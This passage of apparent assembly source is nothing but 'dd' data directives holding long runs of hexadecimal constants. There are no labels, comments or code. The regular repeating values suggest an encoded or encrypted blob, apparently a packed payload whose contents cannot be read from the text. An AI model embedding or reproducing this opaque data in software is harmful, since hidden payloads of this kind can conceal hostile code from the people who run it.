7F56FA90h, 0B4905213h, 3B120562h dd 404CA3ACh, 0E3E45377h, 60031A64h, 67093D59h, 93443215h dd 0B6E15AEDh, 72F8D233h, 6B883215h, 0D138A79h, 0E7FCDD7Dh dd 2DF4312Fh, 30E9C3FFh, 9910846Dh, 742183A0h, 0E39CCE13h dd 609A0948h, 9E94CDE9h, 12EEB79Ch, 6EF8340Ch, 0C0883215h dd 6B35F23Eh, 8F53597Bh, 661132ECh, 6689B41Ah, 9FBC3215h dd 4E53B7D3h, 69433407h, 66883E94h, 60C93D15h, 69223215h dd 66113293h, 82855A15h, 0E34B8E5Fh, 66223214h, 0D3EECEECh dd 609A12E4h, 3BC1BFE9h, 624202Eh, 6614B21Ah, 0E7EE3215h dd 7CAFAD5h, 75CBE2EAh, 77113215h, 0FF8AB303h, 67BE3B0Ah dd 8B578CF9h, 8C80A95h, 0E30184AAh, 605D46DDh, 6636DA75h dd 48563215h, 75414ED0h, 7DFE41D1h, 0D3250917h, 12EB1E0h dd 636069F6h, 9A443215h, 0CCA3DCF0h, 0BD90694Bh, 6B0CBF71h dd 17C1F474h, 3424203Dh, 2C595AE0h, 6E619459h, 8C443215h dd 600FF70Ch, 9974E7A6h, 74A8C3A0h, 72C43D13h, 6223215h dd 661139FCh, 219B8015h, 77126AF7h, 0AB10ECBBh, 0EB70FC9Eh dd 74B36F90h, 664BDB13h, 0D0803215h, 75DA2F0Bh, 0E19C06DBh dd 1A960E7h, 69F2CDF4h, 6611339Ah, 0E301CE15h, 605D46D9h dd 17A7F4E0h, 3417203Dh, 6689BD1Ah, 0EB83215h, 9B6086FFh dd 661134FCh, 5CAD015h, 99FDA103h, 742183A0h, 679F3D13h dd 9A883215h, 5D19B798h, 0D6423407h, 9970CEBCh, 6E6152C5h dd 3F443215h, 8793F720h, 71A31F5h, 4BD5B79Ch, 6EAD3407h dd 48223215h, 0E66360FCh, 8FF8E3C2h, 66443218h, 48D9778Ch dd 0E1BACFE4h, 3F6E2A86h, 17C1F437h, 1124203Dh, 6604B71Ah dd 76613215h, 0EE443215h, 0DAD8E03Eh, 4976C909h, 0C111C824h dd 8F5C1E60h, 66223204h, 0C23B48A4h, 2848CB0h, 96FEF4A9h dd 61CACCEh, 0CEB25AE2h, 9974C182h, 74590BA0h, 6FA73D13h dd 6113215h, 2A164CAAh, 71B607Ch, 5D7FB798h, 69F83407h dd 4D883215h, 945817E1h, 8BF0963Ch, 0D8341CF2h, 0B6770499h dd 6648B01Ah, 0E32D3215h, 66113213h, 6688B81Ah, 6243215h dd 39715375h, 6614DB74h, 30BC3215h, 7D118C0h, 7D27B79Ch dd 74F83407h, 76883215h, 7DEF83BAh, 8EE7A028h, 9F41E45Dh dd 0D267AC4Fh, 17C1F483h, 3424203Dh, 661137FCh, 0B168C715h dd 712C0024h, 6A8EF24h, 959054ECh, 99E95052h, 744783A0h dd 0E3AFC713h, 60030948h, 6696B21Ah, 8F243215h, 66223207h dd 21BE4F7h, 0C472D2B7h, 619596B3h, 4A34806Eh, 0E777F726h dd 75A60C6h, 6924E2EAh, 6622319Fh, 9D9A5415h, 668838FDh dd 97FC0415h, 927F5CD2h, 8F8B32h, 0F94BE194h, 0E3CD534Bh dd 60301138h, 661EB31Ah, 6C613215h, 37443215h, 9D8D48B1h dd 0D4794A1Dh, 170DF400h, 3042203Dh, 662234FCh, 2FD1515h dd 0E5B0089h, 0B25B5F2Ch, 8F97CDE9h, 8F172025h, 66883213h dd 0E38A000Ch, 0E3AFC9E6h, 60044D20h, 69705275h, 6644329Dh dd 99435315h, 6E9C3DC5h, 69883215h, 66443097h, 0EF435215h dd 743EDF90h, 0E34ECE13h, 60561A64h, 662CDB52h, 41663215h dd 3DD0AF97h, 749BE464h, 0EF848365h, 0BA01487Dh, 67013D94h dd 9E443215h, 659387EAh, 77F83407h, 8883215h, 765A6181h dd 4F018003h, 3EDEF49Eh, 0EF1C7EE8h, 3BC1BFECh, 8F24202Eh dd 66113206h, 8048B850h, 7A882124h, 5083E43Eh, 79EBB559h dd 99D21BB5h, 67C53DC5h, 93223215h, 609F3D75h, 69883215h dd 66443298h, 0B07E8D15h, 0EF70636Fh, 74A19790h, 6650DB13h dd 7DFB3215h, 8C55546Eh, 4ADA3961h, 76E8DE3Ah, 737D1F81h dd 0E3D7EB2Ah, 609A1A64h, 6EC83D52h, 6223215h, 1D9DD494h dd 8FE92209h, 66443219h, 0FFD8033Ah, 7E3D47B2h, 0D1066E4Ch dd 69F1D07Dh, 67A73D9Fh, 9A113215h, 66883AFCh, 95C00E15h dd 7757B8DDh, 0D7A4CD26h dd 698E2016h, 66443E9Ch, 60A73D15h, 69113215h, 66883298h dd 3BC1BF15h, 9324202Eh, 69F8E2EAh, 0EA883215h, 2430D127h dd 0D90E70A0h, 78B9C1F1h, 0E301AE4Ah, 605D46F9h, 662234FCh dd 0DF7B6215h, 0A12F4E6Eh, 7451E790h, 66224A13h, 96A05215h dd 7D7CE46h, 7B218F96h, 69223407h, 660B6B91h, 0E0875215h dd 66443216h, 36D88D1Ah, 47B78B73h, 0E34E534Bh, 60561A64h dd 0E42D5259h, 66113210h, 160438AFh, 0EDED891Ah, 0E430530h dd 0BFCB2EFCh, 0D73DCDECh, 9E422016h, 5D7FB798h, 69713407h dd 0D8EEC1A2h, 9925E3FDh, 6CCBCEC5h, 42113215h, 0FD9CAA5Ah dd 6275C30Fh, 0BEA7BB31h, 69172B61h, 66882796h, 6654DB15h dd 0BDB33215h, 155BD55Ch, 2842A075h, 40C560CBh, 0E3E424BEh dd 60031A64h, 0A8E0CA59h, 9E9946CBh, 659387EAh, 0EBED3407h dd 74B36F90h, 99B1CB13h, 0DE52C5h, 59C0ED94h, 6680DB74h dd 0E31D3215h, 7C851A11h, 0E3983970h, 609146C9h, 664435FCh dd 1938115h, 0CBEEB120h, 66883BFCh, 4452A15h, 2CDAAA66h dd 0E3D76AFBh, 609A1A64h, 75AD5259h, 0EA223215h, 0BFF98E13h dd 9E633B2Bh, 1731D8B2h, 3B5BEEBDh, 7E41930h, 0E70A0D7Dh dd 0D3BBCAA2h, 603031A4h, 66113EFCh, 59E715h, 91853FD7h dd 0A17E92D9h, 0AC9052C6h, 58CDAD55h, 6649DA75h, 0F1573215h dd 2E134452h, 60002205h, 3F7CE4B5h, 66223FFCh, 8D707E15h dd 665B65C5h, 1C1D7C4Ah, 7431617h, 5D4CB798h, 75613407h dd 0E443215h, 23BBFA6Dh, 9BE01CEEh, 7E1BB5BEh, 52666BF3h dd 0B6DD453Dh, 661ABB1Ah, 69E83215h, 66443299h, 0A5A95415h dd 8694BB74h, 938E2B61h, 4E35B7D3h, 696E3407h, 66113397h dd 7EE0CB15h, 9AF71D55h, 659387EAh, 0EBE43407h, 74B36F90h dd 6650DB13h, 7C2B3215h, 0B1661B22h, 7827E56Bh, 0A3C8B181h dd 5D1E5A37h, 0B6EECA9Ch, 0BF035475h, 664434FDh, 0D4540515h dd 8C0856h, 3F158DAAh, 86C1BB74h, 6242B61h, 5F3ED394h dd 0E5872780h, 66443213h, 0FF7CD594h, 9F700CBCh, 4EF9B7D3h dd 8F023407h, 6622321Dh, 0CA43B9F0h, 80AEC6Bh, 0B842267Dh dd 0EE2D52AFh, 66113216h, 7BB973h, 17EBDC94h, 0D797CD74h dd 8F172016h, 6688321Eh, 3E57AF8Ah, 8C399014h, 0EB208234h dd 74B36F90h, 60AC5213h, 0AE223215h, 11FC107Dh, 38D7652Eh dd 66443AFCh, 95630215h, 27AB4362h, 0B67753C0h, 664426FCh dd 0F701E815h, 10466FF6h, 92D08287h, 5C8CB165h, 0C50841A1h dd 8E94BB42h, 698E2B61h, 66443396h, 0E3E4C715h, 60031A64h dd 610F3D52h, 69443215h, 6622339Dh, 1C79CE15h, 9309EE05h dd 65F587EAh, 0E92D3407h, 66113214h, 0D98752EDh, 79AB9CEh dd 5D7FB798h, 0DC713407h, 3BF34B68h, 0D476EB94h, 99433723h dd 67973DC5h, 9F883215h, 12B4B79Ch, 0A0DB340Ch, 74394390h dd 69E87513h, 66443798h, 0A4A35415h, 0DC77DF92h, 9FE9CCC9h dd 0E1CA9E7Dh, 70A13DFAh, 8F113215h, 66883204h, 0E6FDD3BDh dd 3C47F101h, 60BB8DA7h, 3B4981A7h, 0D7F1CDA8h, 8F242016h dd 66113205h, 0C3FE5222h, 582BAD6Dh, 0B4595552h, 5951A9BFh dd 668835FCh, 0BC6C1315h, 4629C0C3h, 5D4CB798h, 99713407h dd 67C53DC5h, 9A223215h, 12E5B79Ch, 35E8340Ch, 3FBCB973h dd 662223FCh, 659BF415h, 0D6738520h, 257B0D9Eh, 52B9424h dd 0A0708C32h, 74A04390h, 69AD7513h, 0BA223215h, 0CF922D86h dd 0BFB14971h, 1F644368h, 0B44A0FCCh, 6C5A8B2h, 74601DA4h dd 95443215h, 0BB745E16h, 397B74A8h, 0CD4E6D9Dh, 0DD996EE3h dd 3E7A642Ch, 0D3EECB74h, 609A31A4h, 664421FCh, 0A9D1AB15h dd 6ED27B3Ah, 0D0DC9E25h, 0D629CE9Dh, 412DB3D8h, 5D4CB798h dd 99703407h, 664BDBC5h, 20E23215h, 0F63160A2h, 28EB883Eh dd 2FA11B80h, 9EA7BB0Ch, 8F172B61h, 6688321Dh, 44FA513Fh dd 673B1CE6h, 4E60B7D3h, 8FCF3407h, 66443206h, 8F63B498h dd 4303E0C6h, 5CB039FFh, 11F48511h, 8F6562B1h, 66113201h dd 53C15B4Ch, 408D7B20h, 0C638FAF6h, 6420F58Fh, 0F5C3BE7Ch dd 0A77D367Dh, 6633DBAFh, 8D0D3215h, 0FD7E6218h, 5AC7B6D9h dd 0A82AF311h, 8FBAD736h, 6688321Ch, 0B8BFA7E5h, 1B083F60h dd 0D7A4CDD1h, 698E2016h, 66442691h, 662DDB15h, 85C33215h dd 3640DBC1h, 0A431776Eh, 1ED186AFh, 3B94BF38h, 68E202Eh dd 234AF594h, 9EA96DC5h, 9EC1CD74h, 1274B79Ch, 0E624340Ch dd 63CABDF3h, 0FA113215h, 25B897ABh, 71D70A3h, 40E38F96h dd 69113407h, 6688A990h, 68AD5215h, 0CB223215h, 64DEA211h dd 74108FF2h, 8B7B7B36h, 0D0D4B3A7h, 775CC9Dh, 4EF9B7D3h dd 9F033407h, 140F557Dh, 7F943DF5h, 8F883215h, 66443201h dd 9F47320Ch, 8D085A70h, 3A820CFDh, 0BE465484h, 0EA4481BCh dd 65A087EAh, 67D3407h, 8F83B373h, 7D9B9B2h, 5D4CB798h dd 99713407h, 6CC43DC5h, 6223215h, 0AEF6FB94h, 0AC024D32h dd 7EC33D74h, 8F223215h, 66113206h, 0AAB660E8h, 0DCF82A4Ch dd 59A6BAFBh, 9B28252Bh, 0EF855036h, 7F313290h, 67A53D13h dd 9A113215h, 4EF9B7D3h, 69033407h, 66223998h, 6617DB15h dd 55563215h, 8CFC9BCAh, 4F91837Dh, 0E61E529Bh, 66883211h dd 4CE78C73h, 66223DFCh, 2978415h, 0A024E84Bh, 3B7D05BFh dd 61368670h, 0B3915274h, 0EF876395h, 66443215h, 0D3DD534Dh dd 600331A4h, 66883DFCh, 6D9CF615h, 5648F3C3h, 52C8FC4Bh dd 45B7ED0Ch, 5D19B798h, 68CB3407h, 99113215h, 6220FB96h dd 71373D38h, 6B59EA01h, 93C1CD75h, 138CB79Ch, 0A0B1340Ch dd 740A4390h, 0E81E7113h, 6688321Dh, 6646BE1Ah, 7423215h dd 9AFBB875h, 2C2F5A74h, 6924F263h, 0BCA2E1A2h, 0D3EE5373h dd 609A31A4h, 6642B11Ah, 35423215h, 770524Bh, 5DD5B798h dd 9F243407h, 9943EC9Eh, 0EE1EC7C5h, 66883214h, 6EC1BBEDh dd 6242B60h, 661120FCh, 80CF3515h, 0A74D964Bh, 22661A4Eh dd 6F326035h, 69C11FD3h, 9F25E9A2h, 4E53B7D3h, 8F5D3407h dd 6688321Eh, 0D350001Ah, 920B571h, 0E33FAEEh, 9DEE5EFEh dd 0E84B5275h, 66223215h, 20A607AEh, 76615375h, 0C8443215h dd 11D3FA55h, 9061733Ah, 0DBA993EEh, 7DEA577h, 7B1B87EAh dd 9AE43407h, 5DD5B798h, 0E44B3407h, 66223219h, 661135FCh dd 8EA6F215h, 61271BFEh, 0E82DE2EAh, 6611320Eh, 669CDB75h dd 17A3215h, 1E22E42Dh, 21F7DCA5h, 0BF68250Ah, 979EE793h dd 0EF43ECE4h, 7F64AE90h, 0D3A5213h, 0A02526A6h, 740A4390h dd 0ED717613h, 0D8EE52C2h, 7251C1Ch, 15AC677Dh, 73953DAEh dd 8F883215h, 66443205h, 0A57960DDh, 61B58EF7h, 34A33A01h dd 0B1584A19h, 662DB51Ah, 37713215h, 668EDB4Ch, 7EEB3215h dd 88BD4357h, 0D7A4CD74h, 68E2016h, 0F430FCAFh, 0A4A3541Dh dd 6705AB8h, 9E76B973h, 3BC1BF74h, 8F24202Eh, 66113204h dd 0EB67DF7Fh, 17CB5628h, 384E19B7h, 4EDA87h, 9F58CDA5h dd 1348B79Ch, 42340Ch, 69C62ABh, 297FB373h, 3DFE54D5h dd 0A043530Ah, 74394390h, 77617113h, 0B1443215h, 9BBBE238h dd 0C41BEED6h, 41DD2E03h, 80D76725h, 0E84CCE7Dh, 661ADBA9h dd 0FCD03215h, 9308DEDAh, 127A0281h, 0D7A4CD34h, 698E2016h dd 66443391h, 61CBC715h, 0D1113215h, 0C21D794Bh, 0E3C966EBh dd 60300948h, 0E01E5375h dd 66883205h, 664EBD1Ah, 63CB3215h, 56113215h, 0A0250101h dd 63ADE2EAh, 57223215h, 308F3150h, 760DBBEDh, 8F422B60h dd 66223207h, 16601F6Bh, 5869D553h, 601D30D4h, 49CCD932h dd 0E3D7352Bh, 609A1A64h, 67C43D46h, 9F223215h, 762F987Dh dd 0AE0852D3h, 664FDB33h, 0B8C83215h, 512C2CC3h, 50B84037h dd 0D3BB5358h, 603031A4h, 661FDBEDh, 54593215h, 10D427E3h dd 98A52200h, 0EAB430C0h, 5DD5B798h, 0E64B3407h, 6622321Dh dd 6DDAB375h, 7EB2E88h, 664422FCh, 0EF6BC715h, 3FD820DBh dd 0EFD13DE6h, 7CE13AABh, 6F2CD4Eh, 3CAE5444h, 0E7EE6815h dd 78B48C2h, 1336B79Ch, 0E21E340Ch, 66883200h, 664422FCh dd 86BE6015h, 7EADA421h, 8D1555DCh, 0B1B07F99h, 0F79FB1C0h dd 66172000h, 6538B61Ah, 0A0B83215h, 740A4390h, 69717413h dd 66882A96h, 6657DB15h, 2B573215h, 52648D56h, 9C3242C0h dd 0E559D4C1h, 0AA91FDB2h, 0B8A85429h, 57E0531Ch, 6BEA4DBh dd 2B9BEC9Eh, 7388E2Fh, 0D73DCDEDh, 93422016h, 5D7FB798h dd 713407h, 0C4BCC594h, 664437FCh, 1E5F0415h, 99705A12h dd 0E301CBC5h, 605D4765h, 17A7F4EDh, 2017203Dh, 5C5E5AE9h dd 69ADCEB2h, 17223215h, 0F3C45182h, 2605AA1Bh, 0C4F3A4A4h dd 0D3DD2494h, 600331A4h, 668FB01Ah, 0E24B3215h, 66223214h dd 3B94BFE9h, 698E202Eh, 66443690h, 3C745215h, 6619DB74h dd 1D893215h, 0CF419DF1h, 0B6DDAC53h, 661134FCh, 0DE51C815h dd 623C0AFh, 0C095FAABh, 74B8221h, 1308B79Ch, 24340Ch dd 7C9AF39Eh, 777F2CAh, 45375475h, 66C63D52h, 7223215h dd 4E60B7D3h, 8FCE3407h, 6644321Ah, 0FE8CF152h, 3C656938h dd 6207835Eh, 0EDF577Fh, 0F4DE9615h, 0D7A4CDE0h, 68E2016h dd 87C55447h, 77DBD3Eh, 5D4CB798h, 0D8E83407h, 48519C60h dd 69435275h, 66113291h, 99E95315h, 0DF2252C5h, 7DBB0BAh dd 1395B79Ch, 6361340Ch, 6F443215h, 896F5BF0h, 4E60B7D3h dd 69CE3407h, 66442C9Bh, 7EA63D15h, 8F113215h, 66883206h dd 0EA5691E2h, 0EFA9585Fh, 41E7F6BDh, 0D560744Eh, 0E81CCE2h dd 90F67D7Fh, 9FE4B875h, 6C0E3D74h, 6443215h, 0E02D5375h dd 66113215h, 0D73DCD74h, 8F422016h, 6622321Ah, 0BAB94360h dd 4DAD6F6Ch, 0AF49E8ACh, 6604A57h, 5EADAAAFh, 7AB815Eh dd 5D19B798h, 0DC423407h, 7489A2B1h, 668DB01Ah, 9DFD3215h dd 740017Fh, 6FF8E2EAh, 8F883215h, 0BB26616Dh, 3071BE44h dd 661BBE1Ah, 69E83215h, 6644329Bh, 7435215h, 1399B79Ch dd 7561340Ch, 0C443215h, 31593812h, 1E89C141h, 6FDBA70Dh dd 7C4D4D83h, 0E3E41B22h, 60031A64h, 6698DB53h, 0E6733215h dd 7F7CE737h, 0C8DA90C4h, 102FB6A5h, 362478B7h, 3B2FFDAAh dd 0A19A6B02h, 366F5A74h, 99BCA6D8h, 742183A0h, 709C3D13h dd 6883215h, 66443DFCh, 10D07115h, 856AB412h, 0DB85349Ah dd 0A8EB75A3h, 3BA7BF74h, 6917202Eh, 66883392h, 0B6BBCB15h dd 662FB61Ah, 69713215h, 66883299h, 0D3718915h, 0EF432AF1h dd 7F644690h, 69E85213h, 0B6CECAAAh, 662CDB74h, 0F27D3215h dd 0C1CFCC7Ch, 166B3216h, 0E36BAB61h, 1794F474h, 208E203Dh dd 99A68A75h, 0EE2D405Ah, 6611321Bh, 66883BFCh, 2FB78115h dd 22E28A7Ah, 0E70D109h, 0D7AA462Eh, 664BB11Ah, 6CCB3215h dd 113215h, 7F21FC7Bh, 0ACCA6BAFh, 0D797CD67h, 69172016h dd 66882191h, 664ADB15h, 0E7233215h, 1D4A18EEh, 14BB91B3h dd 212CA1C2h, 97953D75h, 661121FDh, 7FB88915h, 1AC8FEB6h dd 41BB48D3h, 0D5E45751h, 0FD4D6567h, 0C692B373h, 0EB436ADBh dd 742A6F90h, 0B677CA13h, 66443BFCh, 5D24D715h, 9866384Eh dd 0E301E850h, 605D476Dh, 662226FCh, 668F5715h, 5DC20D65h dd 7A4FDC9Ah, 0E9FC072Dh, 47AA97DEh, 170DF482h, 2042203Dh dd 6623BF1Ah, 69E83215h, 66883A93h, 0A7C55215h, 34315ADAh dd 8CFC5A74h, 9974ED6Ch, 744783A0h, 662EDB13h, 6C023215h dd 6BBEC20Ah, 4E617AF8h, 0E3AFC2EBh, 60030948h, 8F58CDE0h dd 6644321Eh, 932BF246h, 4B40BEBAh, 0EF8C308Fh, 7F314E90h dd 662ADB13h, 72053215h, 3BABF4B2h, 0DBC77C02h, 603014D4h dd 0F9943D15h, 6883215h, 664434FCh, 4F58C415h, 6AF8EE9h dd 6688B11Ah, 0E7223215h, 79AAAE7h, 1794F474h, 358E203Dh dd 861A5AEDh, 0E742FCABh, 0FFF622F7h, 0EC368D4Dh, 6254C7Ch dd 662223FCh, 0D7D79715h, 2DCF6029h, 88A31F99h, 72837666h dd 0DC773067h, 99E9EDA6h, 744783A0h, 0E3AFCA13h, 60030948h dd 85A08C75h, 0A4CF7152h, 6F2CD74h, 0D7C1B275h, 74615374h dd 17443215h, 31EDB9B5h, 2E16AAADh, 373DF96Ah, 0E593D001h dd 7EA7BB34h, 69172B60h, 66883F9Bh, 664CDB15h, 0BDB93215h dd 0B772418Eh, 0E34E6D51h, 60561A64h, 0E14AC752h, 8FD6834Bh dd 66883212h, 283DADE7h, 69343BC6h, 66112093h, 6685DB15h dd 399C3215h, 8CB83783h, 0A650AD9Fh, 991D7D22h, 744783A0h dd 74CBCE13h, 0E1113215h, 4D53F9D0h, 0D20D8432h, 7747DA4Dh dd 7E967816h, 3B0DBFBFh, 6942202Eh, 66223992h, 0D91E5215h dd 66013DCAh, 7443215h, 8E42E2EAh, 66113219h, 6B1FB97Dh dd 0AD463951h, 61D9CEDBh, 38E1851Ah, 668EB21Ah, 0E04B3215h dd 66223215h, 7A94BB74h, 9E8E2B60h, 40858F96h, 69223407h dd 66115690h, 0B7035215h, 66443AFCh, 1CBDAF15h, 5D35F31Dh dd 0E34E53C4h, 60561A64h, 634AC752h, 9AF7506Bh, 653987EAh dd 75AD3407h, 85223215h, 520778E5h, 440D7529h, 6BB725BDh dd 4627A6DDh, 0E39CEA98h, 609A0948h, 6994CDEDh, 66223395h dd 0E398C715h, 60914735h, 66443EFCh, 0D39EBB15h, 7B10DF89h dd 0A4B18091h, 17C1F443h, 2524203Dh, 661CB01Ah, 0D9E83215h dd 4606AC7h, 1CA5D294h, 6701E3Ah, 668837FCh, 29428315h dd 0ED445FFFh, 907953DBh, 691A481Ch, 66442395h, 94A95215h dd 66113AFCh, 0D27B8215h, 160962DFh, 0D3DD5357h, 600331A4h dd 668FBF1Ah, 0EE4B3215h, 66223214h, 3B94BFECh, 9E8E202Eh dd 0EFB8E2EAh, 7F571690h, 6B9E3D13h, 8F883215h, 6644321Dh dd 71E71914h, 564DE53h, 4EF9B7D3h, 6073407h, 8F70FD9Eh dd 66113207h, 0F9425F6Bh, 8257DB94h, 8B6CD9D2h, 0CAE405Eh dd 7D313BBh, 47D3127Dh, 662FDBE9h, 5C133215h, 2A3FC293h dd 68E37EC3h, 998FC40Fh, 741283A0h, 670F3D13h, 93443215h dd 5D7FB798h, 6713407h, 39316843h, 73BA26Dh, 662222FCh dd 0DD5CCF15h, 2B99B55Ch, 25431BB2h, 0CC8330ACh, 6CF8531Dh dd 5D883215h, 0F5D353D5h, 0F6675E3Dh, 6C1CD53h, 96095446h dd 0E61FE478h, 0EF4382F7h, 7F641A90h, 69E85213h, 6644329Fh dd 0BD9D3D15h, 0E11E5374h, 66883219h, 6642B21Ah, 0E32D3215h dd 66113215h, 40498F96h, 69443407h, 66235C90h, 6614DB15h dd 0B84C3215h, 0A051BDDDh, 740A4390h, 717113h, 7EB5ABh dd 75EC6AFh, 668A317Dh, 0E01ECB9Eh, 66883212h, 6645BC1Ah dd 99DA3215h, 741283A0h, 84095213h, 63C8725Dh, 747F38ABh dd 0E51E5340h, 66883200h, 664BB11Ah, 6CCB3215h, 0F9113215h dd 726A9967h, 167B84F0h, 3BA7BFF1h, 617202Eh, 668EB01Ah dd 0E64B3215h, 66223215h, 0B6EE53E0h, 66883FFCh, 8E07715h dd 0B34D0E89h, 0F15F47ECh dd 8FE89443h, 66443205h, 0E8884593h, 0D7FEF340h, 0EFDEB2FEh dd 707C1598h, 662226FDh, 0EF5A4015h, 0CD7DDF7Dh, 0A4F7F7EAh dd 5043638Dh, 997A2E19h, 3CE95290h, 56C1BB74h, 93242B60h dd 4E60B7D3h, 8FCB3407h, 66443204h, 0CA7ACA33h, 0BCE32D29h dd 99BF429Dh, 15314EE4h, 76AD3D00h, 8F113215h, 6688321Eh dd 9259AA9h, 4C86B3F5h, 0E3A803Bh, 83D304C0h, 665EB81Ah dd 0EB2D3215h, 66113201h, 66883DFCh, 9DD88915h, 0C57E6EF2h dd 617D10F4h, 6C0076F9h, 65F587EAh, 423407h, 9A32ADh, 8C52EA94h dd 0DF225274h, 0D944E7Ah, 3B94BF74h, 698E202Eh, 66443595h dd 67A33D15h, 93113215h, 0EDE8E2EAh, 64C93DEFh, 0ED223215h dd 0E39853D7h, 60914739h, 0F99EB375h, 36265B82h, 661135FDh dd 15310015h, 3FA6FC8Ch, 0A043694Ah, 74394390h, 0E6E87113h dd 96C50BD6h, 70BC59CBh, 54F05A74h, 8F7DD8BFh, 66443204h dd 0E18C0A1Ah, 1A840169h, 75EBE7ACh, 8C32CD93h, 0D797CD6Bh dd 8F172016h, 66883218h, 23A461E3h, 4A244E59h, 0F7904516h dd 3B0DBF44h, 9342202Eh, 69D7E2EAh, 6611379Dh, 0EDEE5215h dd 0E3CD53D4h, 603B4721h, 1794F4ECh, 258E203Dh, 665DB71Ah dd 72CB3215h, 3F113215h, 1ED5380Ch, 0B1327072h, 6D65A0E2h dd 0CCA76432h, 0EC9B3D2h, 0E2B59E22h, 6628DB75h, 0F3103215h dd 4F151F87h, 1B1308A8h, 9943E69Fh, 741283A0h, 0E7EE5213h dd 8F7B26D6h, 6622321Eh, 0BD7925C2h, 143CE903h, 7DAE7F7h dd 5D7FB798h, 0ED1E3407h, 6688320Ch, 664426FCh, 0F1D0B815h dd 0E3B737FFh, 12E65E4Eh, 84734F7Ah, 5E8FB73Dh, 9FC1CD69h dd 13B0B79Ch, 24340Ch, 6F550ADh, 6611B01Ah, 0EF873215h dd 66443215h, 0E3E45374h, 60031A64h, 668FDB5Ah, 14D3215h dd 0A411C148h, 6A993D0Dh, 69883215h, 66443496h, 66A33D15h dd 0E113215h, 0F1BDA2C1h, 66443CFCh, 14895015h, 66F26CCAh dd 8AA2C0DAh, 9929550Ch, 742183A0h, 0E39CCB13h, 609A0948h dd 6645BB1Ah, 99DE3215h, 661EDBC5h, 0CFE93215h, 0CD66348Fh dd 3D8F54A7h, 3006A7E1h, 5A0DBB33h, 9F422B60h, 4E53B7D3h dd 65E3407h, 668826FDh, 0DC34115h, 3B6AC76Dh, 13A1972Bh dd 6445515Ah, 4A0265F8h, 0FDE3B256h, 6616DA4Eh, 0E3F73215h dd 76F6173Fh, 66AC3D6Fh, 39113215h, 6C073D74h, 6443215h dd 0DECA8873h, 774F8C73h, 688A5A74h, 6AADCB7Bh, 6B223215h dd 0C5BF4EA1h, 92A9342Eh, 9925857Eh, 742183A0h, 69923D13h dd 6883215h, 664435FCh, 0DEAE815h, 5585BC2Eh, 6E853E9h dd 7B85375h, 6620BD1Ah, 0D2A23215h, 3B0DBF74h, 9F42202Eh dd 0EFD7E2EAh, 7F647290h, 0E34ECA13h, 60561A64h, 0ED445258h dd 65943DDEh, 883215h, 0E25C09Eh, 0AE154B5Ch, 0D7A4CDEDh dd 698E2016h, 6644339Ah, 3642CE15h, 39CBB973h, 0EBE9C19Fh dd 747F6F90h, 0B6DDCE13h, 6610B21Ah, 0EF743215h, 7F317A90h dd 67A03D13h, 93113215h, 4EF9B7D3h, 69093407h, 66223A9Ch dd 0E7775215h, 939C99CCh, 2BCD5A74h, 69CBEEE2h, 0F9113215h dd 6C7BEC44h, 89B318EAh, 0ED358202h, 0D3EE56B1h, 609A31A4h dd 3BC1BFE9h, 624202Eh, 38FDD594h, 53019E3h, 75431A1h dd 63CBE2EAh, 0FB113215h, 7631E34Bh, 1300B79Ch, 77CB340Ch dd 0F6113215h, 7060A142h, 8370AEFh, 6122D924h, 0F55273B5h dd 4EF9B7D3h, 6113407h, 8849ABAEh, 6617DA18h, 0F4353215h dd 98D31450h, 0E436AE0h, 0FA0A1F22h, 669FB81Ah, 74AD3215h dd 99223215h, 0BE0A5A42h, 3B973FBDh, 0BA8FBA2Eh, 223F73A7h dd 64983D8Eh, 6883215h, 0D7F1CD74h, 9A242016h, 661126FCh dd 5C4DE615h, 0E29FF41Ah, 38498F75h, 5ED97342h, 6D23B344h dd 3BC1BF8Eh, 6924202Eh, 6611349Fh, 0A9385215h, 99255375h dd 6633DBC5h, 0DD33215h, 1CC9EBE0h, 48F7634Fh, 0E6FDE6CCh dd 0EFFC0E2Fh, 7FFD7E90h, 0E382CB13h, 60301A64h, 94AB5256h dd 0ADC067h, 93BBDC94h, 96085A74h, 99EDE0C0h, 748B83A0h dd 664ADB13h, 85F73215h, 12876E54h, 0C217B542h, 0CDC104EDh dd 5D7FB798h, 36713407h, 8FD16A46h, 6644321Dh, 0D9756E45h dd 306BA72Ch, 668FDB74h, 717F3215h, 3A379879h, 9EC1CD3Fh dd 13D8B79Ch, 0DD24340Ch, 303AD085h, 69701CA3h, 6688359Dh dd 67C93D15h, 9A223215h, 4E60B7D3h, 6DA3407h, 0D74C7ABh dd 662DDA1Eh, 0D13215h, 637D8DD6h, 8CB263B2h, 1BC570EBh dd 0E7068EAh, 9BCA86FFh, 66443DFCh, 4A14F315h, 0B54C35C6h dd 0E699A253h, 0DB134869h, 659387EAh, 0E91E3407h, 66883214h dd 3BC1BFE0h, 9E24202Eh, 0E91EE2EAh, 66883210h, 3F12CA75h dd 3BA7BB74h, 9E172038h, 4EF9B7D3h, 8F033407h, 66223201h dd 5BE1DEA6h, 0B6742F3Ch, 3847B78Bh, 0FF5D94AAh, 0A57FE767h dd 0FED1AB7Dh, 77C93DF7h, 8F223215h, 66113219h, 0D361B91Fh dd 845333B2h, 8255425Dh, 8EDBB975h, 6688321Fh, 731A8B72h dd 0E8D73C3Dh, 0DE77547Bh, 7D1120Eh, 65F587EAh, 61CB3407h dd 82113215h, 51A1C501h, 24B1FBh, 9EA9FA9Eh, 3B94BF74h dd 68E202Eh, 1D2A05ADh, 72C8323h, 661126FCh, 3882B15h dd 7F2C57ECh, 6C1CDAFEh, 6477A349h, 3B9BCDh, 9A94CD99h dd 1376B79Ch, 0E61E340Ch, 66883205h, 664439FCh, 86E76815h dd 1E79BC92h, 9DCDABDDh, 4E35B7D3h, 69653407h, 66112190h dd 6686DB15h, 94ED3215h, 0DBE32161h, 111800D7h, 15BACE22h dd 9B24F07Dh, 63CB52A4h, 79113215h, 83BA14F3h, 0D3BBCA74h dd 603031A4h, 661122FCh, 93870D15h, 997A65C0h, 6AC92FEBh dd 0B4A07696h, 6685DB4Dh, 3DD3215h, 89C04EDDh, 0B79B8E1Dh dd 0EB46D558h, 747F6F90h, 67AA3D13h, 9A113215h, 7261E2EAh dd 3C443215h, 0BE743391h, 7F6E1488h, 56098695h, 0E505D23Ah dd 0EF88467Eh, 7F646A90h, 0EDEE5213h, 6649DAE2h, 0EEAE3215h dd 0AED3B1F7h, 0C7FEA676h, 0DC17BDC3h, 11553EB3h, 0E3D7534Dh dd 609A1A64h, 68ADCE52h, 61223215h, 0C7138B56h, 8E993ABFh dd 0F7F6EC1h, 98365A5Eh, 6971EDB3h, 0BC02C0A2h, 